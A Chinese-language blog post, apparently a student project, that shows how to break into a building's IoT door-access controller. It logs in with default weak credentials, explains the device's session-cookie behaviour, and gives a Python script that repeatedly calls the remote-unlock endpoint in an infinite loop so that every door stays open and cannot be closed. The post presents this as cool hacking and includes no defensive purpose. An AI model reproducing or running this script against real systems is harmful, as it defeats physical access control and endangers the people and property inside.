
一讲起黑客大家都来了兴趣,我们都会觉得黑客很炫酷,我以前经常听闻类似黑客一下子就可以把监控啊啥的黑掉的事情。忙了好几天,终于做出来了利用python让整栋楼的门一瞬间全部打开且都关不上。




监控是这样,门禁系统也是如此。





重点
这个时候正题来了。这篇文章的主题是python黑客。当然会用python来搞点好玩的东西用来期末答辩。思路如下。看到那个图里的远程开门没,要利用的东西就是这个。首先是知道这个单独的机器的登陆账号密码。密码很简单,就是默认的弱口令。进去之后使用python发http请求,就是python模拟登陆一下,然后模拟点击那个远程开门。门就可以开了。但是这肯定远远不够,可以来个大胆的想法,如果我们加一个循环呢?是不是门就一直开了关不掉了。再然后我们是不是可以把多个设备一起发http请求,让所有的门都一直开着关不掉?当然可以,但是物联网设备和普通的模拟登陆不一样。我们需要先分析他的逻辑工作过程,这个很重要很重要

首先来到登陆框,这里直接刷新










看到没。我直接就进来了,然后此时刷新一下发现sessionid是我们后来重新获取的,这个sessionid是没有权限访问这个登陆后的界面的(因为这个sessionid没有用正确的账号密码登陆过)。所以一刷新他又会弹回登陆界面。

结论

这个web和其他登陆类网站最大的区别就是,其他很多登陆类网站在登陆成功后由服务端返回一个cookie给你。然后你就可以用这个cookie去访问登陆后的页面。但是这个网站就不一样了,这个网站在你一访问的时候就会给你一个cookie,如果登陆成功,那么这个cookie便会生效成为可以访问登陆界面之后的cookie。


代码
python3环境,需要安装requests模块
import requests
import socket
import json
from urllib import request
from http import cookiejar
def get_cookie():
cookie = cookiejar.CookieJar()
h = request.HTTPCookieProcessor(cookie)
o = request.build_opener(h)
res = o.open('http://xx.xx.xx.xx')
c = requests.utils.dict_from_cookiejar(cookie)
a = c['SessionID']
the_cookie = 'SessionID=' + a
return the_cookie
def dl(headers,data):
url = 'http://xx.xx.xx.xx/csl/check' #这个check是处理输入账号密码的文件
kaim_url = 'http://xx.xx.xx.xx/form/Device?act=9'
这个是开门用的地址,就是一登陆进去点一下这个链接门就会开
s = requests.session()
r = s.post(url, headers=headers, data=data)
text_url = 'http://xx.xx.xx.xx/csl/menu' #menu是登陆之后的那个界面
t = s.get(text_url, headers=headers)
q = s.get(kaim_url, headers=headers)
if name=='main':
cookies = get_cookie()
headers = {'Host': 'xx.xx.xx.xx',
'Cookie': cookies
}
data = {'username':'账号',
'userpwd':'密码'}
while True: #一直发请求让门一直开
sss = dl(headers, data)
print('开门成功!')

网友评论